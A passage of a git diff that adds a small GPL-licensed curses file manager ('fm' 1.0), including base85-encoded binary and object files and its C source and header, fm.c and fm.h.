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 QiTF6aspMZ0@lWFa0RzZj`~Uy| literal 0 HcmV?d00001 diff --git a/bash/bbs/utils/fm/fm-1.0/fm b/bash/bbs/utils/fm/fm-1.0/fm new file mode 100755 index 0000000000000000000000000000000000000000..226c74b700dea52caa5ced014fcb7959c2f0cb49 GIT binary patch literal 22436 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 literal 0 HcmV?d00001 diff --git a/bash/bbs/utils/fm/fm-1.0/fm.c b/bash/bbs/utils/fm/fm-1.0/fm.c new file mode 100644 index 0000000..1d1dccd --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/fm.c @@ -0,0 +1,97 @@ +/* Copyright (C) 2008 Ricardo Catalinas Jiménez + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include "fm.h" + +char *program_name; + +void print_errno_and_exit(int last_errno, char *file, int line) +{ + char *message_format = "%s (%s:%i)"; + char *message; + + endwin(); + message = g_strdup_printf(message_format, program_name, file, line); + errno = last_errno; + perror(message); + free(message); + exit(EXIT_FAILURE); +} + +void handle_sigsegv(int signal_number) +{ + endwin(); + fprintf(stderr, "%s\n", g_strsignal(SIGSEGV)); + exit(EXIT_FAILURE); +} + +void handle_sigint(int signal_number) +{ + endwin(); + exit(EXIT_SUCCESS); +} + +void set_sighandlers(void) +{ + struct sigaction act; + + act.sa_handler = handle_sigsegv; + sigemptyset(&act.sa_mask); + act.sa_flags = 0; + sigaction(SIGSEGV, &act, NULL); + + act.sa_handler = handle_sigint; + sigaction(SIGINT, &act, NULL); + + act.sa_handler = handle_sigwinch; + sigaction(SIGWINCH, &act, NULL); +} + +void unset_sighandlers(void) +{ + struct sigaction act; + + act.sa_handler = SIG_IGN; + sigemptyset(&act.sa_mask); + act.sa_flags = 0; + + sigaction(SIGSEGV, &act, NULL); + sigaction(SIGINT, &act, NULL); + sigaction(SIGWINCH, &act, NULL); +} + +int main(int argc, char *argv[]) +{ + if (argc > 1 && !strcmp(argv[1], "-h")) { + printf("Usage: fm []\n"); + return 0; + } + + if (setlocale(LC_ALL, "") == NULL) + fprintf(stderr, "Error: Can't set the specified locale\n"); + + set_sighandlers(); + program_name = argv[0]; + if (argc == 1) + init_ui(NULL); + else + init_ui(argv[1]); + for (;;) { + get_key(); + refresh_screen(); + } + return 0; +} diff --git a/bash/bbs/utils/fm/fm-1.0/fm.h b/bash/bbs/utils/fm/fm-1.0/fm.h new file mode 100644 index 0000000..8caf49c --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/fm.h @@ -0,0 +1,139 @@ +/* Copyright (C) 2008 Ricardo Catalinas Jiménez + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#ifndef FM_H +#define FM_H + +#define _XOPEN_SOURCE 500 + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#undef FILE +#define FILE(node) ((File *) (node)->data) +#define NODE(element) ((GNode *) (element)->data) +#define PRINT_ERRNO_AND_EXIT() print_errno_and_exit(errno, __FILE__, __LINE__) +#define PRINT_ERRNO_INFO() print_error_info(errno, __FILE__, __LINE__, NULL) +#define PRINT_ERROR_INFO(message) print_error_info(0, __FILE__, __LINE__, message) +#define PRINT_LAST_INFO() print_info(NULL, -1) + +#define DEFAULT_EDITOR "vim" +#define DEFAULT_PAGER "less" +#define DEFAULT_SHELL "bash" +#define DEFAULT_PS_VIEWER "gv" +#define DEFAULT_PDF_VIEWER "xpdf" +#define DEFAULT_IMAGE_VIEWER "display" + +typedef struct File File; +struct File { + char *name, *link_path; + enum Type {file_type, directory_type} type; + struct stat info; + gboolean read, open, show_dotfiles, link, no_info; + GList *line, *dotfiles; +}; + +extern char *program_name; +extern GNode *tree_root; +extern WINDOW *tree_window, *info_window; +extern GList *lines, *selected_line, *first_line, *last_line; + +/* cmd.c */ +void get_key(void); +void run_program(GNode *current_directory, char *program_name_variable, + char *default_program_name, char *arg, gboolean wait_proccess); +void run_shell(GNode *directory); +void read_file(GNode *file); +void edit_file(GNode *file); + +/* fm.c */ +void print_errno_and_exit(int last_errno, char *file, int line); +void handle_sigsegv(int signal_number); +void handle_sigint(int signal_number); +void set_sighandlers(void); +void unset_sighandlers(void); + +/* fs.c */ +void init_tree(char *name); +File *create_new_file(char *name, char *path, gboolean exit_on_error); +gboolean read_directory(GNode *directory); +void free_element_data(gpointer element_data, gpointer data); +void destroy_dotfiles(GList *dotfiles); +gboolean free_node_data(GNode *node, gpointer data); +void destroy_directory_content(GNode *directory); +void add_dotfiles(GNode *directory); +void remove_dotfiles(GNode *directory); +int file_cmp(File *file1, File *file2); +int file_cmp_list(gconstpointer file1, gconstpointer file2); +void insert_sorted_in_dotfiles(GNode *directory, File *file); +void insert_sorted_in_tree(GNode *directory, File *file); +char *get_path(GNode *file); +GNode *get_next_file__real(GNode *file, gboolean go_deeper); +GNode *get_previous_file(GNode *file); +GNode *get_next_file(GNode *file); +GNode *get_next_file_not_deepper(GNode *file); +char *get_file_info(GNode *file); + +/* ino.c */ +void init_directory_paths(void); +void init_inotify(char *root_path); +GNode *get_file_by_path(char *path); +void insert_file_in_directory(GNode *directory, GNode *file); +void remove_file_from_directory(GNode *file); + +/* ui.c */ +void init_lines(void); +void init_curses(void); +void init_ui(char *name); +void refresh_screen(void); +void handle_sigwinch(int signal_number); +void print_lines(GList *start_line, GList *end_line, gboolean clear_bottom_lines); +void print_parents_lines(GList *line); +void print_line(GList *line); +void clear_info(void); +void print_info(char *message, gboolean bold); +void print_error_info(int last_errno, char *file, int line, char *message); +void update_last_line(void); +void add_directory_content(GNode *directory); +void open_directory(GNode *directory); +void close_directory(GNode *directory); +void update_directory(GNode *directory); +void show_dotfiles(GNode *directory); +void hide_dotfiles(GNode *directory); +void select_line(GList *line); +void select_file(GNode *file); +void select_nth_line(int n_lines); +void scroll_tree(int n_lines); +void select_line_inside_window(void); +void select_next_line_by_first_letter(char letter); +void select_previous_line_by_first_letter(char letter); + +#endif diff --git a/bash/bbs/utils/fm/fm-1.0/fm.o b/bash/bbs/utils/fm/fm-1.0/fm.o new file mode 100644 index 0000000000000000000000000000000000000000..a5c04857458dec538fb829e937a406d787becdb8 GIT binary patch literal 2648 zcmb7GU1%It6h6Dznpjtp*8XWDPV1&kC>@fR2VH|Lrm;ShQY^tj8`kOW-ObSK>@qWJ z8%5h13oc<1Q4m4F(n1kL`k?VeY$27P_@EE^D1sIW<{|!|FGBpjnLF9()ZYs?-+bqM z_ndQov!}-oJf2FWBx)(?kTw(fvLp121kf*8xjm8wIMKX*`0Ua}e7D}7URhabovY*T z;yHdZPBW9c@dv(}$8wp)@nw!#+?VSLFq69j*mk$=>A$h}M)tGUnDXf4!awDQ;(z52 zisqnLg*R97SBhI}YRxl9>k9v(zS$p^56>?3&P`@#pYKY&FgiDu>7MV&Z=}0ncF!M5 zc0{DPxi6OuW$$TA$gZ?LpgNe((w4v$_cwoQ zeZ2El|LXp-?rmZCt{{C>8-g%<5Ri3pKWCRV1blA12kyRbSaxnai{kWXgbO6ig-|)s z)$D2Z>Z7JH9$I!!$%JQBRNg38jiaM(t>za>wyTPM&7FC4Ql!sYi*EGydHFtjK*n9S z=H`tt%h~B0p7ITUN*P{V745REO2%}pXiclNBKyb2@<#vugA)VBh&f^o8^eQx4-X9w zK4kRQUFE82WqE2q#PnvWzI7bvyCF_RUl5tTI^~O5vV2R-DHrhEAXZp4{`(pG4)`42FTmY 